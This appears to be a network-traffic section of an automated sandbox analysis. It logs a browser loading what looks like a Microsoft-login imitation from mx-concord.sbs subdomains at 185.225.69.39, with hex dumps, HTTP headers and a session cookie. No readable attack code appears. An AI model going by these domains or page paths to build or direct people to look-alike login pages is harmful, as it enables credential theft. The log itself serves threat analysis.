2024-08-28 20:21:03 UTC	13688	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 e4 bd 7b 57 e3 48 92 38 fa ff fd 14 46 33 97 b6 1b e1 92 fc 02 8b 56 b3 c6 40 15 d3 80 19 4c 55 f7 2c c5 70 64 29 6d d4 c8 92 57 92 79 8c f1 7e f6 5f 44 64 a6 94 b2 65 aa 6a 76 cf bd e7 9e db 3b 5b 58 99 91 af c8 c8 c8 88 c8 c8 c8 0f 3f 6f fd 5f 95 9f 2b bb df ff 5f 65 78 d3 bb be a9 0c 4e 2b 37 9f ce ae 8f 2b 57 f0 f5 8f ca e5 e0 e6 ac 7f f2 fd f5 60 a3 f8 ff 37 0f 7e 52 19 fb 01 ab c0 df 91 93 30 af 12 85 95 28 ae f8 a1 1b c5 b3 28 76 52 96 54 a6 f0 6f ec 3b 41 65 1c 47 d3 4a fa c0 2a b3 38 fa 93 b9 69 52 09 fc 24 85 42 23 16 44 cf 95 2a 54 17 7b 95 2b 27 4e 5f 2b 67 57 b5 3a d4 cf a0 36 7f e2 87 50 da 8d 66 af f0 fb 21 ad 84 51 ea bb ac e2 84 1e d5 16 c0 47 98 b0 ca 3c f4 58 5c 79 7e f0 dd 87 ca 85 ef c6 51 12 8d d3 4a cc Data Ascii: {WH8F3V@LU,pd)mWy~_Ddejv;[X?o_+_exN+7+W`7~R0((vRTo;AeGJ8iR$B#DT{+'N_+gW:6Pf!QG<X\y~QJ
2024-08-28 20:21:03 UTC	16384	IN	Data Raw: 67 81 54 f2 a4 4e 3d 41 3b 29 dd b0 74 d4 ee 1c d2 3c 5c f1 f5 89 9d af f2 63 58 7d 2e 3a 29 c6 51 2c bd 3a 2a 39 a6 80 2c 98 9c b7 d6 4e 84 42 03 30 91 78 bc 3d 7f 9d ce f6 81 7d 91 ec 2c e4 c6 9c 90 c5 28 f4 99 ed 00 d1 48 8c 03 f1 21 8e c6 88 2e 39 37 da 4e 84 69 13 3b e6 e4 38 b5 d3 02 99 1d cc ed 64 7b 9b 3f b7 00 b2 7a b2 72 1a ae 1d 48 c2 83 9a 12 eb 7d 8a 4c 79 b7 46 45 3a 11 94 61 2e 81 38 38 4d 40 17 f5 89 3e d3 a7 40 03 28 6c 00 4a a4 79 e8 c9 6e b1 e6 ee 48 ce 17 cb 5f 8b 7f b0 69 42 5d e6 07 55 29 97 7c 78 aa e9 f7 2b 9c 44 ef db c6 41 ff 97 87 83 be 34 2d 0d 6d 03 5d 5f 0e 35 cd ea 67 8f 10 02 e0 0b 1e 82 65 6a 44 ff e7 27 bd da 07 5d e2 67 a8 f4 b9 38 04 e8 bc cd 7b 8f b4 3c d4 5f f4 d1 fa e2 7b 26 1b d7 41 de ee ab cd 76 d4 06 71 a8 5b f7 Data Ascii: gTN=A;)t<\cX}.:)Q,:*9,NB0x=},(H!.97Ni;8d{?zrH}LyFE:a.88M@>@(lJynH_iB]U)\|x+DA4-m]_5gejD']g8{<_{&Avq[
2024-08-28 20:21:03 UTC	16384	IN	Data Raw: b6 95 93 57 f6 67 8e 64 a6 74 de 01 54 94 6f bd 7f 7b 2e dc 81 f7 85 23 6c 28 75 91 64 8a 3c 58 6d b9 f0 89 37 ae e9 1e a0 7f ec 0d e5 cc fa b5 e9 9c 5c f8 ca b6 c2 df c2 c7 4c 7a b3 39 11 4e b0 29 95 28 6a 4c 93 2d 50 aa f0 2b 87 de 3a 85 7f 8d e0 b9 d6 8f 65 4d 18 ac c2 cf 17 69 ed 2b 63 36 fd 84 90 c7 26 8a a4 06 47 9d 54 0b 13 5d 56 96 ac 04 d6 32 80 3e f8 1b ad 58 81 b5 42 88 b7 9b cc 68 3c ec e8 b2 0e 57 24 d7 4e ec 88 f5 12 dd c4 d2 ce 8e 02 89 35 b5 10 2b 6a ba f7 9c d0 c5 84 07 40 93 f0 26 24 b9 70 a3 02 78 0c a6 70 cc 1e 74 f7 51 7c fd 1c 0e 27 11 f9 32 ea 4b 27 cc e8 c2 48 79 0b a5 14 74 5f a4 f9 05 a5 b4 2f 85 3f 26 ba ac e4 bb 48 39 dc 6d ba 77 65 2f d1 a7 e8 5c 49 69 04 43 c2 79 60 0c 12 d2 c2 d1 68 28 b4 01 5f 3d ae 7e f9 f2 65 15 95 d0 57 Data Ascii: WgdtTo{.#l(ud<Xm7\Lz9N)(jL-P+:eMi+c6&GT]V2>XBh<W$N5+j@&$pxptQ\|'2K'Hyt_/?&H9mwe/\IiCy`h(_=~eW
2024-08-28 20:21:03 UTC	16384	IN	Data Raw: bc e3 6a e3 82 6d ce 35 00 fb 2e 8c 41 34 61 52 ac 75 e9 16 e3 40 76 2f f3 4a 6e 48 75 ba ac 43 8c cf 2c e1 98 d6 f5 f5 5d 7a 7d 6d ad d4 f9 e8 77 43 cd 70 08 1b fb dc b1 a3 a0 0a e4 51 44 11 93 64 6d 29 05 c2 1b 71 1c f2 8b 0c e8 4c 88 88 16 21 37 8a b7 39 6e 73 f9 c0 ba 4b ad 15 c0 6b 5d 2c 04 3d 29 09 06 7c ce 00 b1 ae 6e 8f 26 e4 5c 5a 42 2a b4 1f 61 68 00 a8 91 5c 91 20 89 f5 6b d0 54 d9 f1 6b 87 9a 1b 6d e4 e4 71 c9 e6 44 32 cf cf cb 1d 2b 36 2a 94 28 3a 24 a1 15 75 e3 3e 1b 51 48 34 b6 5d 84 9c 86 62 67 e3 e5 e5 18 10 77 e2 35 56 90 1b b4 c8 41 96 12 d2 96 c4 aa 21 43 24 e4 30 5d 74 2b 85 a5 b6 17 f7 d0 74 1c 28 8b 41 16 64 15 52 b3 f2 13 f7 5f 35 7e ae 61 b9 57 62 8c 19 a3 5d b2 7e 7a 4f 6a de 7c 5e 9c 9a 2c 8f 9a 14 05 f8 43 70 e2 ca a7 ab ac 78 Data Ascii: jm5.A4aRu@v/JnHuC,]z}mwCpQDdm)qL!79nsKk],=)\|n&\ZBah\ kTkmqD2+6(:$u>QH4]bgw5VA!C$0]t+t(AdR_5~aWb]~zOj\|^,Cpx
2024-08-28 20:21:03 UTC	16384	IN	Data Raw: 83 88 e6 5e db 08 3a 62 d1 d3 7e b4 c7 d9 3c 8f 62 fb 85 9a b8 7a 40 92 4d 9e 8c e3 95 ae b7 18 36 a4 5e b9 9c 72 3f 85 37 e1 31 47 92 ee 60 0d 40 b4 7a 35 cd a2 ab af 7f e6 f1 f7 3b 3e 78 1d 5e c5 cb fa a2 19 89 d6 61 14 1b 20 67 8e 7b 88 dc 66 88 98 c4 75 ac 96 cb 53 6e 98 00 af 2a 52 ac 89 c6 b4 d5 7f 8d d8 4b 09 ce 88 2d 44 90 5a c6 11 b7 f1 4e 12 32 c2 63 97 d7 b8 f9 a6 0e 3c 8b db e3 51 9f a7 0e 88 2a 93 f9 93 65 b2 f6 f0 31 82 ab ca 4d df 31 e7 a6 a2 d6 97 93 42 97 94 2c 2f 25 ed b2 2e cd 8d 78 37 b1 40 08 02 57 7f 49 72 e7 2e 6d 59 ea b2 11 18 e9 91 cd 47 3a 16 45 2e 39 75 96 8c 02 d2 b5 a5 48 3a bc fc 3b a5 2b 69 48 1c d6 31 0a b3 86 5f ed 8f 0b 3c b7 24 14 ad 39 fc b0 9f 01 db c4 af 6a 80 4c 4d 67 00 cc 09 d8 7c 64 ef c1 cc 57 29 65 c4 ba 8b 94 Data Ascii: ^:b~<bz@M6^r?71G`@z5;>x^a g{fuSnRK-DZN2c<Qe1M1B,/%.x7@WIr.mYG:E.9uH:;+iH1_<$9jLMg\|dW)e
2024-08-28 20:21:03 UTC	16384	IN	Data Raw: 7d f0 e1 c0 1a 8c 28 f7 69 b6 9a 2b 28 83 31 7b 81 ff 9f a9 7c f5 74 15 f4 e8 98 8f 2b 00 ad c3 d9 da 39 1d bb 8f 26 cd 45 27 f2 e4 7b 76 39 e4 2b 81 c2 a3 3a 9b 5b 37 b7 e3 3f e9 7e 25 5a b9 d3 d3 a5 c0 69 4d 97 4a 2d 38 9c 37 21 9a e4 73 19 56 13 21 ad 97 72 99 1b a3 54 11 80 26 39 06 e5 4d bd a2 cb 36 d4 98 5f 4a 6b 70 1f 03 9f 0c 46 d6 b0 cb d8 2a 7d 95 e6 49 6e 0e 1f 0e 2b ab 8e 1d b7 aa 5a d1 7f ab d6 b1 13 d9 ac 75 eb 7f 49 eb cd ac 4f 65 56 d7 b4 65 c4 69 da 48 fc 67 32 0c d5 eb d1 f1 9f 75 d2 8d b7 23 ab fe 75 51 23 97 42 d9 76 5a 38 ca ea 51 54 a4 84 2a 60 52 85 21 f3 a1 be 4c ed 6f 72 bb 07 d5 d6 95 7e 99 a4 e3 fa ba 46 a9 41 af a1 7e 36 b3 be 99 35 d0 fc 32 ba a6 08 a2 ff 8f 5c 8f 75 bc dc bb 65 82 ef c1 ab 0f f6 f5 eb 81 85 4f d6 9b 6e d8 e5 Data Ascii: }(i+(1{\|t+9&E'{v9+:[7?~%ZiMJ-87!sV!rT&9M6_JkpF}In+ZuIOeVeiHg2u#uQ#BvZ8QT`R!Lor~FA~652\ueOn
2024-08-28 20:21:03 UTC	1784	IN	Data Raw: c0 8a 65 dc 17 35 fa 83 b2 90 75 55 ed ed 6d ac 63 9d 7f 64 32 5d 71 f5 ae 7e 2f 56 df 5c bf 46 63 6d e5 83 b2 86 77 4f b7 3d 5c 9e 32 2a 49 8f 50 9e 86 21 eb 39 8e 3d 5c 4c ca d1 c3 45 1d 34 ac 1d 2b 14 b9 dd 9c 01 a4 79 5e 26 44 a4 a4 bf 3a 04 59 0b fe 61 10 8c 54 d6 fb 2d 69 5e 06 3f ff e2 f1 7b 87 87 94 ab 7d 31 f4 02 b2 8e f0 4f 44 ff 04 a1 fa 5b fd 76 02 f5 3b a6 bf 43 f5 de 8f 7c f5 4f 1c e8 7f 50 ec ab 83 c3 43 b4 27 7f 9e e1 7f 75 bb ad 57 7f 10 c5 db 03 75 ea 88 22 49 26 83 22 3f 3a 00 4f 28 de ca 27 05 9b 96 67 83 3f fe 3c 3b c0 9f d5 72 dc 24 3f 3e 3a f8 70 a0 a2 19 0f 7e fe 4a a8 2a 2a db 36 48 e3 e7 af 2c 5d 97 fe 5c b2 39 bb a8 50 78 f9 8a fe 2c e4 c5 25 90 4c fe 50 0a 59 75 7b a6 fb 10 da 5f ad 6e 4d 15 3a b9 5a 81 5e 1e 5c b7 4a 2a 7b 72 Data Ascii: e5uUmcd2]q~/V\FcmwO=\2IP!9=\LE4+y^&D:YaT-i^?{}1OD[v;C\|OPC'uWu"I&"?:O('g?<;r$?>:p~J6H,]\9Px,%LPYu{_nM:Z^\J{r
2024-08-28 20:21:03 UTC	16384	IN	Data Raw: e6 ff dd da ed 0f 9b 57 e2 e9 b2 54 63 23 76 97 65 bd c4 16 bd 9d 4a 11 2a 18 b4 7f 22 2b de 69 70 53 a1 bd 32 d0 3a f4 e7 af 17 55 a1 83 f4 95 80 2e 9e e8 d7 6a 67 b7 be f7 e1 60 32 99 1c 10 c1 47 a3 71 eb fd f8 05 b4 77 8a 96 78 fe d3 93 07 7d c4 56 cf de fc 65 e7 aa 90 35 8c ee 7e de 48 73 95 3e 05 d9 99 a7 fa e5 46 cf c1 94 fc de 4c ef d5 b7 ea b5 3f 6c ea af ce 5e f9 03 a3 cd e8 e5 ba 1a f3 b7 0b c7 27 0a 6f 5a b7 72 7e 56 2e 0c cf 5c 33 f2 d7 3f 7f 39 1e 87 cf e7 55 f9 32 7d 19 da 5e fe 76 49 68 9b 6c e3 6f 3f 41 75 3a 4d ad da 17 ea 95 e1 cb cf fb f7 aa a8 9c b8 cf 9b 7d f6 b6 67 b3 7e f9 f7 66 82 96 05 37 ab 24 df 30 fe 46 ab d3 4a 92 b5 5d f2 4b 99 df 29 f2 ab a9 37 9f 36 44 4e aa bf cd 1f 97 42 3e 2f 30 e9 f5 e6 d2 4e 06 48 d3 dc 6f a4 fc fc 93 Data Ascii: WTc#veJ*"+ipS2:U.jg`2Gqwx}Ve5~Hs>FL?l^'oZr~V.\3?9U2}^vIhlo?Au:M}g~f7$0FJ]K)76DNB>/0NHo
2024-08-28 20:21:03 UTC	8378	IN	Data Raw: 7d 8e 13 5f fb 8d 3d fc 91 64 27 11 c1 c0 c7 88 4a da df d9 d3 77 1f c3 e5 bf 32 5f fb 2b 0e f2 30 fb a2 fd 83 8e 16 20 e7 95 ef 41 6a ff 84 17 61 0d 93 b4 7f 61 f9 b7 04 03 f6 1c c6 a0 13 78 19 4f c1 aa 11 22 bd 62 89 ba 96 5a 24 3d 84 82 2f 63 16 62 1d 54 2a 78 9e d0 c7 74 aa e8 b2 12 9e 6b 21 3e c6 55 7b 0b 6a 0e de c6 a4 08 cf 5f 3a 24 87 d3 21 12 df 42 8b c9 6c 67 87 4a 5f cf 43 3f ce 4d e9 5a 42 72 c0 01 3d 41 61 27 b9 d6 52 c2 40 80 0b 07 53 c2 90 54 9a c7 9f fd 18 66 2f ae 5c 7c e2 8b 27 71 7c be 20 f8 64 c1 9f 3c 77 3c e2 c2 78 f0 d9 15 7f 76 c2 51 98 61 aa 06 ea 4d 8f 0e 87 22 f9 d3 04 fe 4d 34 78 f0 06 08 81 24 07 69 1a 7b 21 d2 3e 80 04 16 81 01 fc 35 35 73 05 d8 60 f8 86 47 42 e2 d1 b2 28 d9 9e e3 1b e0 a0 8a 77 8c 2a 2e 39 10 f0 30 99 21 19 Data Ascii: }_=d'Jw2_+0 AjaaxO"bZ$=/cbTxtk!>U{j_:$!BlgJ_C?MZBr=Aa'R@STf/\\|'q\| d<w<xvQaM"M4x$i{!>55s`GB(w.90!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.16	49752	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:21:00 UTC	660	OUT	GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_tzwwq6wdslxjdiwzdatg6a2.js HTTP/1.1 Host: 96f04cf4-b128254c.mx-concord.sbs Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://portal.mx-concord.sbs sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://portal.mx-concord.sbs/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-28 20:21:03 UTC	745	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:21:02 GMT Content-Type: application/x-javascript Content-Length: 16112 Connection: close accept-ranges: bytes access-control-allow-origin: * access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding age: 2209833 cache-control: public, max-age=31536000 etag: 0x8DCB32DEE62CF26 last-modified: Fri, 02 Aug 2024 20:01:43 GMT vary: Accept-Encoding x-cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 4bd57e42-b01e-00db-286e-e50c11000000 x-ms-version: 2009-09-19 content-encoding: gzip
2024-08-28 20:21:03 UTC	13689	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 dd 7d 4d 73 23 47 b2 d8 dd bf 02 8b 75 68 86 4f 3d 10 3e f8 89 11 34 06 01 70 06 4f 24 00 01 e0 50 0a 49 46 34 81 22 d8 4b a0 1b af bb 31 1c 2e 35 8e bd f9 f0 0e be da 37 1f 7c f2 d1 17 df fd 53 36 e2 f9 77 38 3f aa aa ab ba 1b 00 39 d2 6a df b3 42 31 44 77 55 65 55 65 65 65 65 66 65 66 ff e1 66 ed 4f 63 2f f0 5f 8a bd 47 f5 bb 10 bc f4 f7 1e bd 9b 97 de 8f fe cf 7b a1 88 d7 a1 5f c0 df 25 f1 71 15 84 71 f4 fa 83 1b 16 e2 06 be 6a 3c ca 77 f5 c7 4f 8e 37 ab fb ce 22 70 67 62 56 ff 43 e5 d3 6b d9 54 60 d3 a9 bb 58 bc 8c 15 04 27 76 92 df c1 1e 3c 70 b3 c6 1f ca 49 c1 27 ec c6 6b 3c 6a 40 41 69 d9 10 4e 50 9a 36 3c f8 77 d5 28 16 9d e0 65 79 ef d3 cb 1f 93 69 38 81 e3 c1 e0 5f 56 f7 68 94 7e c3 7b 59 01 f8 f0 e7 60 cf 09 e1 cf Data Ascii: }Ms#GuhO=>4pO$PIF4"K1.57\|S6w8?9jB1DwUeUeeeefeffOc/_G{_%qqj<wO7"pgbVCkT`X'v<pI'k<j@AiNP6<w(eyi8_Vh~{Y`
2024-08-28 20:21:03 UTC	2423	IN	Data Raw: 8b bb 3d 5d 27 52 9a 3c a2 13 b0 9b eb 24 70 18 1f e8 89 cd 25 78 90 3e 0c 91 c2 4d 48 db 6a e9 dd aa 3c 8f 8b f6 b3 14 9a e0 cc 4c 16 0d a6 96 79 b7 81 a2 b2 2b f9 a4 6a 49 af fa ee 28 5a 2f e2 a4 63 eb 75 52 bb 2d 7c 3a 72 ec e7 a4 9c b4 1d 76 57 31 6a 99 6f 53 94 98 20 8d 2f a8 4d f4 3e b1 62 d2 fb 59 e8 ae 67 ec a3 60 76 6f bd 06 d1 06 1f 2d 94 a5 df 30 ae bb 4a 24 65 9c ea c7 a4 3f d4 49 82 d5 83 41 f8 9b 4a 8a 0e f1 36 d8 2f db 96 6e 77 9d 3c 38 db 50 f8 9c da 5b 84 f1 f1 8d 5b 2f 6e 2c cd 11 d1 a9 41 e6 6d 8e c0 9e 82 2c df 6e 10 df 53 95 8d 12 68 b0 a2 94 92 43 99 78 07 76 35 ec 67 96 f9 37 16 31 5f 5b ae 40 6e 83 f3 0a aa 69 c9 31 ff 7d 56 a3 a7 11 a5 5f d2 60 16 52 1c c4 7e ba 68 bf 69 fa ea 12 10 fe ea b1 3c e4 a8 85 07 35 56 cc 34 9a 37 d4 a9 Data Ascii: =]'R<$p%x>MHj<Ly+jI(Z/cuR-\|:rvW1joS /M>bYg`vo-0J$e?IAJ6/nw<8P[[/n,Am,nShCxv5g71_[@ni1}V_`R~hi<5V47

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.16	49754	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:21:01 UTC	369	OUT	POST /api/report?catId=GW+estsfd+dub2 HTTP/1.1 Host: 68bc0e6a-b128254c.mx-concord.sbs Connection: keep-alive Content-Length: 440 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-28 20:21:01 UTC	440	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 32 39 39 38 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 70 6f 72 74 61 6c 2e 6d 78 2d 63 6f 6e 63 6f 72 64 2e 73 62 73 2f 3f 6c 69 74 3d 75 70 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 38 35 2e 32 32 35 2e 36 39 2e 33 39 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d Data Ascii: [{"age":0,"body":{"elapsed_time":2998,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://portal.mx-concord.sbs/?lit=up","sampling_fraction":1.0,"server_ip":"185.225.69.39","status_code":404,"type":"http.error"},"type":"network-
2024-08-28 20:21:03 UTC	367	IN	HTTP/1.1 429 Too Many Requests Server: nginx Date: Wed, 28 Aug 2024 20:21:03 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close request-context: appId=cid-v1:27277200-e19a-465d-951d-bb90a149c996 access-control-allow-credentials: false access-control-allow-methods: , GET, OPTIONS, POST access-control-allow-origin:
2024-08-28 20:21:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.16	49755	40.127.169.103	443

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:21:01 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=C+fzv3fwMBU6XPK&MD=76YP+26l HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-08-28 20:21:02 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 2777cb7c-9979-472a-a18d-6b2d107017c3 MS-RequestId: 8ff315a0-c91a-4386-b1e1-2dc563dde67a MS-CV: HXLulyImtECJG2c2.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 28 Aug 2024 20:21:02 GMT Connection: close Content-Length: 30005
2024-08-28 20:21:02 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-08-28 20:21:02 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.16	49756	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:21:03 UTC	802	OUT	GET /Me.htm?v=3 HTTP/1.1 Host: l1ve.mx-concord.sbs Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Purpose: prefetch Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://portal.mx-concord.sbs/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
2024-08-28 20:21:05 UTC	514	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:21:05 GMT Content-Type: text/html; charset=utf-8 Content-Length: 1424 Connection: close cache-control: max-age=315360000 vary: Accept-Encoding p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" referrer-policy: strict-origin-when-cross-origin x-ms-route-info: C507_BL2 x-ms-request-id: af1ae72f-84f8-4775-8d26-1a802d89f3cd ppserver: PPV: 30 H: BL02EPF000276BC V: 0 content-encoding: gzip access-control-allow-origin: * access-control-allow-headers: *
2024-08-28 20:21:05 UTC	1424	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 b5 57 db 6e db 38 10 7d ef 57 d8 44 11 88 1b 56 91 ec 38 17 39 6c 50 74 bb a8 8b a6 2d aa 2e f6 c1 f5 02 0c 45 d9 dc ca 94 40 d2 6e 0a 47 ff be a3 9b 25 ab db 6c fa d0 87 c4 f2 70 66 78 ce 70 e6 50 be 32 5c cb cc 0e ec b7 4c 50 64 c5 9d 3d f9 87 6d 59 65 45 cf 9f 0c 86 f1 46 71 2b 53 e5 58 22 f0 2e 4e b5 b3 65 7a 60 06 52 0d 04 b6 73 b3 a0 02 fe e5 8e 5d 49 43 5a 67 70 ad 9f 07 c2 51 78 27 63 c7 cc d5 02 6b 61 37 5a 0d 8a 67 57 dc 65 a9 b6 66 5a 24 94 b4 30 d1 5d 6d 0b 76 39 91 51 a0 48 92 b2 48 44 c1 d0 cf a7 75 a8 2d 42 39 4b 12 47 36 19 88 24 ed b3 c0 f0 a5 0a a3 43 af 5d c8 4b dc 74 b7 4f 24 dc 35 05 52 2e a7 10 e4 66 14 21 22 1c 0f e7 ce bc c7 b9 21 62 4a 5a 75 05 04 8d e7 e1 82 18 ea 11 45 85 9b 08 b5 b4 ab a9 b9 52 d3 Data Ascii: Wn8}WDV89lPt-.E@nG%lpfxpP2\LPd=mYeEFq+SX".Nez`Rs]ICZgpQx'cka7ZgWefZ$0]mv9QHHDu-B9KG6$C]KtO$5R.f!"!bJZuER

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.16	49757	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:21:03 UTC	563	OUT	GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_tzwwq6wdslxjdiwzdatg6a2.js HTTP/1.1 Host: 96f04cf4-b128254c.mx-concord.sbs Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
